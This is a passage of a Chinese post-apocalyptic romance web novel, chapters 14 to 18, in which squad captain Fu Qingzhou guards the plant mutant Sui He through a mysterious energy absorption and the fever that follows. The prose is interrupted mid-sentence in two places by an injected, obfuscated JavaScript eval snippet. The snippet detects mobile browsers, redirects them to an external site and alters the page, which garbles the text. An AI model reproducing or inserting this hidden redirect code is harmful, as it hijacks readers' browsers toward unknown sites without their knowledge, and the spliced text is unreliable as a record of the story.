只是这几场战斗下来,他几乎是确定一件事情,异变种要的只有岁禾一个人,而他们这些拦路的,最终只会被杀死。 而岁禾是不会被他们伤害的。 正因为这个事情,所以库里尔才觉得岁禾是这个末世的关键吗? 那岁禾真正的身份是什么?真的只是植物异变种这么简单吗? 傅清洲没有出手,梵烬也不敢动。只是跟在队长的身后,注视着那缓慢移动的岁禾。 凑近了才知道,岁禾身下是几根烧焦的枝条,正攀在他的身上,带着他往那诡异的黑暗中拖去。 “队长……”梵烬欲言又止。 拖拽的速度不快不慢的,明明现在是白天,外面还有些细碎的阳光,可这一片就是有点暗,像隔绝开来的夜晚。 两个人一路跟着往前,越往深处走越黑,已经到了完全看不清路的状态了,梵烬手心里只能燃起一团火,照亮了路。 远处发着淡淡的粉色光线,是昨天那棵被红色藤蔓穿透心脏的植物异变种。 在粉色的光芒包围下,那颗心脏似乎还在跳动,只是很微弱。 梵烬想上去给最后一击,被傅清洲拦住了。 植物都有再生能力,即便昨天被藤蔓穿透了心脏,可依旧不会影响它的再生能力,只要根在,就可以再生。 “别去,先看看。” 梵烬只好停住了脚步,站在傅清洲身边一起望着眼前的景象。 岁禾被拖到那颗巨大的心脏面前,粉色的光芒静悄悄地把他包裹住。四周忽然生长出许多细小粉嫩的嫩芽,都在摇晃着。 似乎是有生命力一般,在开心地见证着什么。 还没等二人反应过来,那粉嫩的嫩芽瞬间破土而出,变成了一根根藤蔓把岁禾托到半空中,然后又紧紧包裹起来。 “队长……”梵烬再次看向傅清洲,“再不阻止,他会死吗?” “不会。” 傅清洲说完这句话的时候,自己都愣了一下。明明他自己也不清楚这到底是什么东西,可他的直觉告诉他,不要打断。 不要打断这个诡异的事情。 莫名从心底衍生出来的那种安心并不是错觉。 “你先回去吧,我在这里等他。”傅清洲看向梵烬,在他离开的时候又提醒一句,“这个事,别跟任何人说。” 这是让他保密的意思。 梵烬很聪明,很多事情只需要稍微琢磨一下就能知道是什么意思。他点了点头,然后留下一句“注意安全”就回临时营地了。 傅清洲找了一个平地盘腿坐下,视线却没从那诡异的藤蔓身上离开。 岁禾被藤蔓围成一个圆球挂在半空中,像是虫茧一样。 而周围发出淡淡的光芒,不知道是不是错觉,傅清洲觉得自己好像看见了一股能量源源不断地涌进那虫茧之中。 手上传来轻微冰凉的触感,傅清洲才回神来,低头看过去,是一根细小的粉色藤蔓正在缠绕着他的手腕。 傅清洲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775866|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周围不知道什么时候长满了粉嫩的嫩芽,像是他挤在粉色的地毯里,和这个地方格格不入。 手腕上的藤蔓像是有生命一样,缠着他的手腕,还用叶子轻轻蹭了蹭他。 傅清洲一下子就猜到这是岁禾的异能了。毕竟这种像小藤蔓偷偷蹭他手心的事情,也只有他才会干了。 原本还提着的心,傅清洲又开始放下来了。他反手摸了摸藤蔓的叶子,藤蔓舒服得像一棵含羞草,被人一碰就开始害羞地缩起来。 这场等待不知道等了多久,傅清洲还靠在树下打了个盹。 眼前的虫茧终于有了一点动静,而底下那棵巨大的心脏在慢慢地消散。 终于,藤蔓开始收缩,散开了对岁禾的重重包围,又小心翼翼地把他托回地面。 岁禾睁开红色的眸子,在缓过来之后又眨了眨眼从地上爬起来。 这一觉睡得太舒服了,只是怎么睡着睡着好像换了个地方? 他站起来伸了个懒腰,感觉身体都充满了能量。一扭头在旁边看见了打盹的傅清洲。 “粥粥。”岁禾蹲在他旁边,伸出手戳了戳傅清洲的脸,见人没醒,又凑上去盯着看了好一会儿。 “怎么看起来比我还困呢。”岁禾嘀咕着,呼吸喷洒在他脸上。 下一秒傅清洲就睁开了眼睛,近在咫尺的脸颊和一张一合的粉嫩唇瓣。他呼吸滞了一下,随即猛地偏过头。 很奇怪,傅清洲的警觉程度很高,有人靠近他就能发现,但岁禾都凑这么近了,他连一点动静都没有。 “粥粥,我们怎么在这里?还有那两个人呢?”岁禾不理解他这么大的动作幅度,撑着下巴不解地看着眼前的人。 傅清洲看向他的眼神有点复杂,而且也不知道岁禾是真不知道还是假不知道。 “你……”傅清洲停顿了一下,“你不知道吗?” 岁禾不解地摇头。 地面上的粉色嫩芽消失了,那颗巨大的心脏也不见了,只有干枯的树干屹立在那里。傅清洲打量完周围的之后,才得出两个结论。 或许岁禾真的不知道。 而且岁禾是能吸收植物异变种的能量。 但刚刚那场诡异得像是什么仪式的东西到底是什么?连岁禾自己都不知道。 傅清洲简单地和他解释了一下,岁禾眉头都要拧起来了,最后一脸真诚地看着他,“我听不懂。” 傅清洲:“……” “那准确点说,你梦游了。” 他起身,顺便把岁禾一起拉起来,裹着他的手腕带他回临时基地。 耳边是岁禾的声音,“梦游是什么?” “是你刚刚说的那些东西吗?可是我好像以前不会这样子诶?库里尔都没有这样说过我。” “粥粥?你说句话呀,你怎么又不理我?真的很讨厌!” 岁禾抱着他的手臂,整个人几乎贴在上面,撒娇似的摇晃着他的手臂。 回到临时基地的时候,远处围在火堆旁边的双生子就看见这个画面,脸上的表情有一瞬间的凝固。 好像真的认错队长了。 15. 第 15 章 目睹了一个死缠烂打的岁禾和面无表情却没有推开人的傅清洲,两兄弟都有些惊愕地看着对方。 直到傅清洲走到他们面前,以及还半挂在他身上的岁禾。 “今天时间不多了,不太好赶路,先休息一晚上,到明天早上我们就开始赶路。” “是!队长!” 挽着傅清洲手臂的岁禾也跟着喊:“是!队长!” 傅清洲愣了一下,突然想起来刚刚睁开眼那张放大的脸。岁禾的脸在他们之中很有辨识度,主要还是看起来太年轻了,皮肤很白,完全不像是一个常年窝在山洞里的野人。 标志性的长相和他们也不一样,完全像是那种末世前的大学生,长着一张漂亮的脸蛋。 为什么是漂亮,傅清洲也说不清楚,反正比他见过的女人里还要漂亮就是了。 最重要的是,不管是傅清洲还是双生子,他们三个人经常出任务,和异变种待在一起,身上多多少少都会有一点疤痕,皮肤也是小麦色的。而岁禾看起来太白了,像是不染淤泥的莲花一样。 可爱,还很漂亮。 很快,傅清洲就把这个想法压下去了。他一边走向一个角落,一边伸手拍了拍岁禾的腰,出声道:“别乱喊,谁是你队长?” “你是我的粥粥呀。”岁禾咧着嘴傻笑。 傅清洲被他不要脸的程度惊到了,但他也没有说什么,只是走到一棵树底下,然后又拍了拍他的腰间,“下来。” “我不。”岁禾整个人都扒拉着他,抱着他的手臂,双腿夹住了他的右腿,连让傅清洲走路都难。 对他来说,傅清洲像是一棵高大的树,而他只是一根喜欢攀着树根的藤蔓罢了。 两个人身高差距很大,连体型也相差巨大,所以对傅清洲来说,岁禾算是很轻的一个人了。 傅清洲实在忍无可忍,提着他的腰带,把他拎起来扔到一旁之后,又拍了拍手掌,靠着那棵树坐下。 “好痛!”岁禾被扔在地上,摸了摸被摔疼的地方,气呼呼地去看靠着树假寐的傅清洲。 植物都喜欢自己的根,岁禾也不例外。 虽然被这个讨厌的人类摔疼了,但心里那种想靠近的感觉是不一样的。因为傅清洲身上有着属于自己的根茎啊。 所以他很快又贴上去。 他先是靠着傅清洲坐着,但依旧觉得不够,于是在犹豫要怎么办的时候,他人已经跨开腿面对面坐在傅清洲大腿上了。 坐在远处的梵溯瞬间瞪大了双眼。 这对吗? 下一秒他就被捂住了眼睛,耳边是梵烬低沉的嗓音,“别看了,闭眼休息。” 这么劲爆的消息谁睡得着? 梵溯一边在心里吐槽自己老哥不懂得八卦的重要性,一边又乖乖点头表示自己知道了。 另一边的岁禾已经搂上了傅清洲的脖子,下一秒傅清洲就睁开眼,抬手抓住了岁禾的手腕,捏得极其用力。 “痛!”岁禾惊呼出声。 傅清洲冷着一张脸,捏着他手腕的手松了一点力气,但语气病不太好,“下去!” 岁禾抽不回自己的手,气得伸出另一只手去打他的肩膀,委屈得眼泪快要掉下来,“你放开我!痛死了!” 傅清洲深吸一口气,松了手。 谁知道岁禾依旧不下去,反而更加得寸进尺,贴得更近了。伸手搂紧他的脖子,好像要把自己融进他的身体一样。 岁禾把头埋在他的脖子上,低低的声音传来,“我才不要下去呢,这样子很舒服!” 傅清洲的心跳声强而有力,一下接着一下的,岁禾听得很清楚。因为那本是属于自己的东西,现在在傅清洲身上,所以不能怪他想要和傅清洲贴贴,这是不可避免的原则。 就好比藤蔓喜欢缠着树根。 没有办法把他拉开,傅清洲有些无奈。关键是岁禾在他身上又蹭又动的,搞得他很不舒服。 “别乱动!”傅清洲舔了舔后槽牙,抬手在他翘起的屁股上落下一巴掌。 岁禾哼哼嘀咕了两声,毛茸茸的脑袋在傅清洲的脖子上蹭了蹭,毛发扫过皮肤的痒意让傅清洲想伸手去抓挠。 这和傅清洲一直保持的形象不太符合,但如果不顺着岁禾的话,他能给你闹翻天。有时候傅清洲也拿他没有办法。 如果是其他人的话,他早就把人扔出去了。但岁禾的身份不一样,他还有特殊的情况,以及那不确定的百分之一的猜测。 因为库里尔的那一句毫无验证的话,傅清洲就把岁禾带走了。 有时候他真的觉得自己很好笑。 岁禾大概真的很喜欢和他贴在一起,被傅清洲训斥一番他也没动了,就这么抱着傅清洲的脖子又沉沉地睡了过去。 四个人又休整了一个晚上,晨光微晓的时候,几个人就起来收拾了东西。 岁禾又睡了一觉起来,他感觉自己浑身软绵绵的,一点力气都没有,如果不是看到傅清洲在忙着收拾东西,他就要直接贴上去了。 他感觉自己有点不太对劲,从昨天睡醒开始之后就不对劲了。 体内仿佛有一团火在灼烧他,格外的难受,还很困倦。 明明他觉得自己体内的能量已经恢复了,根本不需要靠睡觉来恢复能量了,但他还是觉得很不舒服。 他盘腿坐在草地上,其余三个人都在收拾东西,就只有他没有东西,无所事事地坐在这里,看着溪流里活蹦乱跳的鱼。 体内的难受让他提不起精神来。 好像有一股陌生的能量在他体内游走,是他没办法控制的。 越是这样,岁禾就觉得自己身体特别难受。他想炼化那陌生的力量,但还没开始梵溯就走过来拍了拍他的肩膀,“走了,小兄弟,你还在发什么呆呢?” 岁禾猛地回过神来,扭头看向梵溯。 又看了看远方的人,他们都收拾好了站在那边等岁禾,叫了他好几声没应,梵溯就只好自己过来拍了拍他。 “走吧。”岁禾起身,浑身的力量仿佛都被抽空了一样。 那是一种说不出来的感觉,里面的力量想掌控他的身体。 岁禾看向傅清洲,那人站在那边,背上背着一个大背包。 他快速窜上去,一把挽住傅清洲的手臂,冰凉的触感让他舒服了很多。 作为冰系异能者,傅清洲的身体也跟着有一些变化,他身上的温度比常人还要冷一些。 “放手。”傅清洲皱着眉头。 “我才不要。”岁禾就非要挨着他走。 双生子就跟在身后,看着前面的两个人。 “哥,我怎么觉得队长有点像渣男呢?”梵溯小声地嘀咕着,确保傅清洲那惊人的听力并不会听见。 梵烬看了一眼自己的弟弟,道:“别乱说。” 梵溯撇撇嘴,“小兄弟怎么不跟我亲近?都没人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775867|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟我说话了。队长整天冷着一张脸,他怎么跟队长聊得下去的?” 他一边走一边说着,刚吐槽完,前面挨着傅清洲走的岁禾就扭头看了他一眼。 顺便给他做了一个嘴型。 “我听见啦!” 梵溯瞪大双眼,“这也能听见?这听力比队长还要好啊?” “都说了让你别乱说了。”梵烬把这一切都收进眼底。 几个人没怎么多做停留,现在白天的时间越来越短了,他们都很珍惜白天赶路的时间。 但一直到太阳冒出来了,傅清洲身上还是冰冰凉凉的,但岁禾却已经难受得不行了。 体内的感觉越来越强烈。 傅清洲感觉自己手臂上好像挂着一团火一样。 原本一直在碎碎念的人在今天也格外的沉默,很不符合他的风格。 傅清洲扭头看了岁禾一眼。 不看不知道,岁禾连眼睛都睁不开了,脸颊冒着不自在的红。 他停下脚步,岁禾还愣了一下,然后发出一声虚弱的问候,“诶?不走了吗?” 傅清洲抬手摸在他的额头上,不出意外是格外的烫。 “怎么了?”梵烬二人赶上来。 梵溯:“是不舒服吗?” “好像有点发烧。” 岁禾靠着傅清洲,眼睛累得不想睁开,“发烧是什么?” “粥粥,你身上好凉快。”岁禾又往他那边蹭了蹭。 似乎是不确定,梵溯也伸手摸了一下他的额头,被烫得一下子缩回手,“我靠,这哪是发烧啊,这跟给自己烧成一团火有什么区别啊?” 这么一听,傅清洲拧了一下眉头。 “先休息吧。”梵烬说:“他需要降温。” 傅清洲点头,几个人找了一处阴凉的地方坐下。 梵溯一放下背包就跑到附近找水源了。 岁禾更是挨着傅清洲,恨不得把自己镶进他身体里,融在一起。 傅清洲摸着他的脸颊,他的手很凉,岁禾抓着他的手蹭了蹭。 梵烬带药的时候只想到了梵溯受伤的事情,根本没想到会发烧这个事情。 末世之后,因为大家都觉醒了异能,感冒发烧这些事情就逐渐远离了异能者。 这还是第一次发生这种事情。 “我好热。”即使已经贴上了傅清洲,但岁禾还是觉得不够,体内那一团火好像烧得更旺了。 傅清洲拧着眉头。 “水来了水来了。”梵溯拿着一个大荷叶,把清水装回来了。 “喝一点。”傅清洲掐着怀里的人的下巴,逼迫他张开嘴巴。 不知道岁禾还有没有意识,他看起来只想一个劲地往傅清洲怀里钻。 好不容易喂着他喝了一点水,又被岁禾咳出来了。 几个大男人手忙脚乱地看着这位病人,一时不知道该怎么办。 梵溯看着他烧红的脸,看着他一个劲地往傅清洲身上钻,道:“我感觉队长就是纯天然的降温机器。” “闭嘴!”梵烬轻轻敲了一下他的脑袋。 傅清洲没有时间和他们说闲话,皱着眉低头看着岁禾。 他似乎有了一点猜测了。 或许是和昨天那个诡异的事情有关。 梵烬好像也看出来了,问:“是不是昨天那个……” 梵溯:“什么昨天?你们背着我干啥了?” 16. 第 16 章 也许真的跟昨天那个诡异的事情有关,但如果真的跟那个有关的话,他们又该如何应对。 两个人都没有思绪,而梵烬只是目睹了一点点,后面的事情就完全不知道了。 按理说傅清洲是从头守到尾的那个,但是他也不知道在中间发生了什么事情,也不知道岁禾被虫茧包裹之后发生了什么。 两个人都沉默着。 看得梵溯快要着急死了,“你们快说啊,昨天到底发生了什么事情?为什么就我不知道?” 梵烬答应了傅清洲要保密,他看向梵溯的眼神有些无奈,只好抬手摸了摸他的头,“阿溯,在去找点水好吗?” “摸狗一样!”梵溯瞪着他十分的不开心,因为这两个人有事情瞒着他就算了,还要差遣他。 看见梵溯走了之后,梵烬才看向傅清洲,“队长,说吧,到底发生了什么?” 梵烬总觉得不对,傅清洲脸色也不太好,“没有发生什么,或许只是普通的高热,退了就好了。” 怀里的岁禾整个人都在发烫,说不清楚是什么原因。又或许只是真的体质太差了。 “粥粥……”岁禾往他怀里钻,“好凉快、好舒服……” 傅清洲捏着他的后脖颈,摸着他身上的体温,询问梵烬,“能用冰块降温吗?” “能……吧?”梵烬有些呆滞地看着自己队长手里幻出几块冰块,从包里摸出一块布把冰块包进去,然后放到岁禾的额头上。 都自己动手了,还问他这种多余的问题干什么? 梵烬有一点无语,但对方是自己队长,也没办法说什么。 岁禾只觉得体内好像有一团火一直在灼烧自己,在每一根脉络里面疯狂地游走,很热,很难受。 还有点痛,浑身都痛。 岁禾蜷缩起来,试图缓解这股莫名的痛感,可他又好像逃离不开傅清洲身上的冷气,那股冷气也让他舒服了不少。 他迷迷糊糊地抓起傅清洲的手,摊开搭在自己的脸上,又抓着他的手摸摸自己的脖子、锁骨,继续往下。 傅清洲的手僵住了一瞬间,还不容易抽回去又被岁禾抓回来继续刚刚的动作,偏偏这个人还发出一些舒服的呢喃呻吟。 “我…回避一下?”梵烬蹲在一边有些纳闷,突然好后悔,他应该跟阿溯一起去找水源的,而不是自己留在这里。 受尽折磨。 傅清洲没理他,梵烬自顾自走到一边守着了。而傅清洲只是垂着眸看着一个劲往自己怀里钻的人,忽然捏着他的后脖颈,问:“以前有这种现象吗?” 也不知道岁禾有没有听见,一直没有什么反应,过了许久他才缓缓摇头。 如果以前没有出现这样的情况,那大概率就是和昨天的事情有关了。昨天那个如同虫茧一样的东西,将他包裹起来,中间发生的事情,傅清洲一概不知。 但岁禾作为当事人他也不知道。 这就很难办。 该做什么,该怎么办? 傅清洲也不知道,他目前只担心这个人会不会死在这里,那个曾被库里尔寄予厚望的小异种。 “粥粥……难受。”岁禾又往他怀里钻,二人已经贴得很近,没有一丝缝隙可言。 岁禾的脸埋在傅清洲的脖子上,连呼出来的气都是热的,喷洒在傅清洲脖子上,让人觉得痒痒的。 “别贴着我。”傅清洲皱着眉,又捏着他的后脖颈把他拎起来。 岁禾因为发着高热,浑身热乎乎的,一点劲都没有,脸颊也泛着红。 他整个人像是被傅清洲操控了一样,软绵绵的一点力气都使不上。只知道自己被他牵扯着远离了凉快的地方,不满地瞪着罪魁祸首。 “把你扔水里让你凉快凉快。”傅清洲故意凶他。 岁禾哼哼唧唧的,掀着眸子看他。 一直顾着发热的岁禾,傅清洲倒是没怎么注意他的双眸,但他依稀记得岁禾的眸子不是红色的。 “队长!哥!我回来了!”梵溯又捧着水急匆匆地跑回来。 傅清洲下意识放开捏着他后脖颈的手,抬过去捂住了岁禾的眼睛。 虽然他也不知道为什么要做这种多余的动作,双生子和岁禾才认识多久,应该不会怎么注意到岁禾的瞳色。 没了禁锢,视线也被挡住,岁禾哼唧两声,又把头靠向傅清洲的肩膀,把他当成解药一样紧紧抱着。 “我是不是来得有点不及时?”梵溯手里捧着一个巨大的荷叶,上面装满了清水,他就那样站在原地,不知道要不要走到那交缠的二人身边。 不愧是双生子,就连想法都差不多,前一会儿梵烬也是这么觉得的。 傅清洲已经没办法了,岁禾把他当成冰块一样抱着,他也没什么意见了,如果他不管岁禾的话,双生子也没有理由管他。 人是他带出来的,那就只能由他来管了。 “起来喝点水。”傅清洲拍了拍他的腰,又重复了一遍,“岁禾,先起来喝点水。” 双生子中的梵溯捧着荷叶站在一边,再次深度怀疑自己和哥哥是不是真的认错队长了。不然就是摔下来的时候把脑子一起摔坏了。 但他没有证据,还不敢多说什么。 “不要……”岁禾蹭了蹭,呢喃着。 傅清洲却完全不给他拒绝的机会,拽着他的衣领把他拉起来,一只手扣住他的下巴,强迫他张开嘴,然后看向梵溯,“帮忙。” “哦哦,好的队长。”梵溯发呆呢,忽然就被点名了,连忙上前喂着岁禾喝了一点。 傅清洲垂着眸,“多喂点。” 梵溯又听话地喂了一点。 岁禾挣扎了一下,荷叶里的水被打翻,弄湿了身上的衣服,连抱着他的傅清洲也不可幸免。 “队长……”梵溯看向傅清洲。 后者没有说话,只是安静了好一会儿之后,他又盯着岁禾的双眼看了许久,似乎才确定自己的想法是正确的。 “他体内有狂暴能量。”傅清洲沉声说:“要他自己吸收,不然就会一直这样。不避免会被其他能量控制,所以做好防护准备。” 梵溯呆愣了一下,“狂暴能量是指…… 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梵溯也道:“对,沈晋、何寻姐他们都在,大家都在等我们。” 傅清洲抿了抿唇,第一小队的大家都是有情有义的人,所以这次过来找他的话,肯定也都不会缺席,一直让他们等着也不好。 而且还有其他地方的异变种需要清理,他这属于是占用公共资源了。 但是岁禾也不能放弃。 他是极其重要的存在,以及他身上藏着的那些秘密。 在深思熟虑之后,傅清洲出声:“等,他很重要。” “如果明天他不能炼化体内的狂暴能量,那你们先走,回去告诉他们别等我了。” “不行!”两兄弟同时开口,梵溯最先着急,“我们本来就是进来找队长的,如果没有我们,你们两个根本不可能打得过那植物异变种。” “这里面都是不可知的危险。” 更何况还带着一个会自动吸引异变种的岁禾呢? “我们一起等。”梵烬说:“他没上过安博士的课,那就把如何炼化狂暴能量告诉他,让他去试着能不能尝试炼化。” “如果不行的话,下场只有一个。” 傅清洲看向怀里的岁禾,不知道说什么,那个虫茧里发生的事情他也不知道,只知道岁禾应该是吸收了那个植物异变种的能量,把它转化成自己的。 “一个晚上,足够了。”傅清洲最后还是选择相信岁禾。 众人又寻了一处地方休整,只是这一次休整和之前的不一样,这次的几人都需要提高警惕,因为不知道岁禾会不会被异变种控制意识。 “我们一起守着,应该不会有什么问题的。”梵溯看出了傅清洲眉眼里的担忧,出声安慰着:“队长,不用太东西啦,你要相信小兄弟啊。” 傅清洲扭头望了他一眼:“我没有担心他。” 梵溯:死闷骚担心人家还死不承认。 17. 第 17 章 傅清洲把如何炼化能量的方法告诉了岁禾,但他意识不太清醒,有没有听进去就不知道了。 但貌似岁禾不太配合,在三人的视线下,扭头又钻进了傅清洲的怀里,蹭着他的脖子,哼唧着:“我难受,粥粥……” 傅清洲:“……” 梵烬、梵溯:“队长……要不我俩先出去?” 好像有点打扰到了啊。 傅清洲淡淡地抬眸看了双生子一眼,帐篷里的位置确实有点小,大家都挤在这里有点闷热,光是一个岁禾就足够让他难缠了。 虽然傅清洲是冰系异能者,身上的温度比平常人要低很多,但他对外界的冷热受热程度却是正常的。 所以岁禾那发烫的身体一直贴着他,让他也不好受。 “嗯。”傅清洲最后点了点头。 双生子掀开帐篷的帘子出去了,梵溯嘀嘀咕咕地,“哥,他俩是不是有什么奸情啊?” 还没等梵烬说话,就传来里面傅清洲的声音,“我听得见。” 梵溯吓得立马捂住嘴巴去看自己哥哥。梵烬无奈地笑了一下,抬手揉了一下他的头,揽着他的肩膀带着他去了一边树底下。 “忘记队长听力好了。”梵溯又嘀咕着。 “其实里面两个听力都好。”梵烬说,:“下次说话注意点,不然我可救不了你。” 傅清洲听着外面小声的嘀咕,又低头看着怀里动来动去的人,也很无奈。 “哪里不舒服?”傅清洲掐着他的下巴开口询问:“刚刚跟你说的那些话听清楚没有?” “下次还乱吃东西,不把你屁股打开花。” 吸收能量的东西,也算是吃东西吧?在傅清洲的认知了,这好比岁禾一个植物异变种吃掉了另一个植物异变种一样。 “哼哼。”岁禾又往他怀里钻,发出一声低哼,也不正面回答他的问题,只想着让自己身体里的难受缓解一点。 “岁禾。”傅清洲又把他拉开,这次使了点劲不让他挣脱。岁禾的力气不及他,挣扎了好一会儿才发现挣不开,掀起眸子和傅清洲对视上了。 平日里亮晶晶的眼睛此时像是没了光泽一样,灰暗暗的红色,和他那双渐变色的眸子也完全不一样。 傅清洲有点不确定这是岁禾还是已经完全把岁禾的意识啃噬掉的异变种了。 但他表情里的委屈和嘴里喊的那一句“粥粥”完全不像是失去意思的人,至于为什么不想听话,傅清洲也完全不理解。 但他还是企图和眼前的人讲一下道理。 “听着,你要听我的话,才能好起来,不然你就会一直难受。”傅清洲双手搭在他的肩膀上,把他禁锢在自己的面前,不让他乱动也不让他扑到自己怀里。 岁禾龇牙咧嘴了好一会儿,才后知后觉知道自己现在抵抗不过眼前这个男人,最后慢慢安静下来,和他对视。 “安静下来了?”傅清洲淡淡地开口,“现在能听我说话了吗?” 岁禾点了一下头,缓慢地开口:“要、抱!” 傅清洲刚抬起手,岁禾又开始有动作了,于是他又只能把手搭在岁禾的肩膀上,再次郑重其事地开口:“你现在用自己的能力,去吞噬身体里的能量。” 岁禾歪头看他。 “听懂点个头。”什么动作都没有,傅清洲也不知道他有没有听懂。 岁禾又很乖地点个头,然后继续道:“要抱。” 像是一个固执的小孩。 傅清洲拿他没有办法,只能先安抚他,“先按照我说的去做,结束之后给你抱,好吗?” 炼化能量很重要,要是一直拖着的话,不说岁禾会不会一直难受,就算不会难受,他也会被体内那陌生的力量吞噬干净,最后成为一个全新的异变种。 傅清洲能肯定,刚刚跟他说的那些办法岁禾已经完全听进去了,但为什么一直难受不想进行这个过程,他就不清楚了。 是因为人类的方法不适合异变种吗? 又或者是别的可能。 就在傅清洲思考的时候,眼前的岁禾已经半阖上眼了。他安静地坐着,感受着体内那股陌生的力量。 他明明很难受,什么都不清楚,可真正闭上眼去感受的时候,他不止感受到了那股陌生的力量。 还有一个极其陌生,但又很熟悉的东西。是自己移植到傅清洲身上的根,一直在给自己发出一种陌生的信号。 岁禾忍不住想要靠近,没有植物不喜欢自己的根。 救傅清洲的时候,他想过也犹豫过,但他收到过来自于人类的善意,收到过来自于库里尔队长的善意,以及他提醒教会的那些东西。 他应该还给人类一点什么。 而救活傅清洲,也许就是他还给人类的唯一的东西。 他好像也只能还给这么多了。 “如果有一天,你看见穿着黑色作战服,胸口上绣着名牌的人,那么请记住,他们是我的战友,是我的后辈,请不要伤害他们,如果你愿意的话,也可以跟着他们回到属于人类的安全基地。” 那是库里尔死前对岁禾说过的话。 岁禾一直记在心里。 体内的能量格外的暴躁,似乎不满自己被吸收,又或许是因为别的原因。 可岁禾完全不怕它,他更可恨的是让这个让自己难受的东西。 他需要消灭。 所以他操控自己的异能,在脉络里寻到陌生的能量,毫不犹豫地被把那股陌生的能量吸收到为自己所用。 “回去……回去吧……” 岁禾猛地睁开眼,撞上了傅清洲的视线。 那个空灵的声音不像是幻觉,太真实的,还带着淡淡的忧伤,让他心里闷得难受。 是那股陌生的能量吗? “粥粥……”岁禾垂下眸子,眼神里蓄满了忧伤,不像是往日里的他,“你有听见什么声音吗?” “没有。”傅清洲皱着眉头回答。 看他这个样子,应该是没什么问题了,体内的能量应该被他炼化为他所用了。只是这速度也太快了吧,他本来以为要很久才可以,结果只是那一会儿就好了。 果然人和异变种还是不一样的。 虽然想不通岁禾说的那个声音是什么,但为什么他能感觉到岁禾身上有一种很悲伤、还有点凄苦的气息。 岁禾坐在原地发了一会呆,脑子里满是那个空灵的声音。 回去……回哪去?回他那个破山洞吗? 可是为什么都不让他出去? 他太想出去看看了,所以这次不管是谁都没办法阻止他。 想清楚也确定自己的 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“你找谁告状?”傅清洲轻笑一声,“库里尔队长吗?他已经不在了,可惜了,我们可怜的小东西连告状的机会都没有。” 岁禾被他气得不行,张嘴在他胸口上咬了下去,傅清洲吃痛,拎着他的后衣领把他提起来。 “你又想干嘛?”傅清洲面无表情的,“现在抱完了,你可以出去了。” 岁禾瞪大了双眼,“为什么?你说给我抱的!你又没说只给我抱一会儿。” “那我也没说给你抱多久。”傅清洲又开口,他提着岁禾的衣领起身,直接掀开帐篷的帘子,然后把他扔出了草地上。 岁禾没站稳,被摔到地上,摔疼了屁股,又扭头龇牙咧嘴地和傅清洲拌嘴,“你不能这么对我!你一点都不温柔,还没有人情味!” “没有人情味?”傅清洲笑了一下,双手抱胸居高临下地看着他,“你身上的衣服是我的,要是觉得我没有人情味,那你脱下来还给我。” 岁禾被他噎了一下。 和傅清洲待久了之后,他也是一个开始注意自己隐私的小异种了。 而且旁边还有两个双生子在看着,岁禾更加不好意思了。 他涨红了双脸,最后怒道:“我讨厌你!” “求之不得。” 一点都不在意? 岁禾不可置信地瞪大双眼,看着他又钻进了帐篷里,完全不看他一眼。岁禾身上的高热还没散去,揉着屁股坐在原地,嘴里嘀嘀咕咕地骂人。 梵溯看完了全程,实在是看他可怜,又坐不住地往他身边凑,“你这体型差跟队长差太多了,被他揍你都还不了手。” “他打不过我!”岁禾气呼呼的。 梵溯挠了挠头,对于岁禾不认清自己的行为表示不理解,但也尊重,“嗯嗯,但是你可以多锻炼一下,这样也能承受一下队长的……摧残?” 他有点不太懂要怎么表达这个意思。 但应该差不对吧。 “什么东西?”岁禾更是不理解。 “梵溯你在说一句,就绕着这里跑十圈!”里面又传出了傅清洲的声音。 “不说了!”梵溯连忙闭嘴,“对不起队长,我不该说你坏话!” 岁禾古怪地看了他一眼,“怂包!” 18. 第 18 章 “你厉害!你被队长丢出来!”梵溯梗着脖子怼他。 岁禾也不甘示弱,“你怂!你连说他坏话都不敢!” “你、你……”梵溯你了半天,硬是憋不出一句话来,好像队长还挺宠旁边这位小兄弟的,他除了目睹了刚刚岁禾被丢出来的那一幕,好像确实没见过其他的了。 岁禾哼哼两声,“你不服那你跟我打架,让你知道什么叫把你打哭。” 他小小地生着气,似乎是在气刚刚梵溯笑话他,脸颊鼓起来瞪人,可爱得不行。 梵溯看了一下,没忍住伸手去掐他的脸,然后调笑道:“就你这小身板跟我打?还不如回去多练练呢,队长会让着你,我可不会。” “你别掐我!”岁禾抬手拍了一下他的手,但依旧没能拯救回自己的脸颊。 虽然梵溯掐得不算重,甚至对岁禾来说没什么感觉,但岁禾有点不习惯和傅清洲之外的人近距离接触。 这时身后的帐篷帘子被掀开,二人同时抬头望向那边,就对上了傅清洲冷漠的视线。 梵溯一下子就松手了。 而岁禾没反应过来,手下意识搭在了梵溯的手腕上。 傅清洲只是看了一眼,就扭头离开了。岁禾也回过神来,连忙松手跟上去,也不顾身后梵溯喊他的名字了。 “粥粥。” 他走一脚,岁禾就跟一脚,也不知道傅清洲要去哪里,反正他跟着就对了。 傅清洲走了一段距离,确认双生子看不到之后,扭头看向身后的小尾巴,低声道:“跟着我做什么?你不去找他们玩?” “他们没有你好玩。” 傅清洲:“……” 但好在,他原本有点复杂的心情因为岁禾这句话瞬间就轻松了许多。刚出来的时候,看见那二人亲密到掐脸颊的动作,傅清洲也不知道为什么心里有一种说不出来的滋味。 和之前那些莫名其妙的情绪一样,根本不像是他自己能控制的。活了二十多年的傅队长,满脑子不是杀异种就是杀异种,生平有了另外的想法。 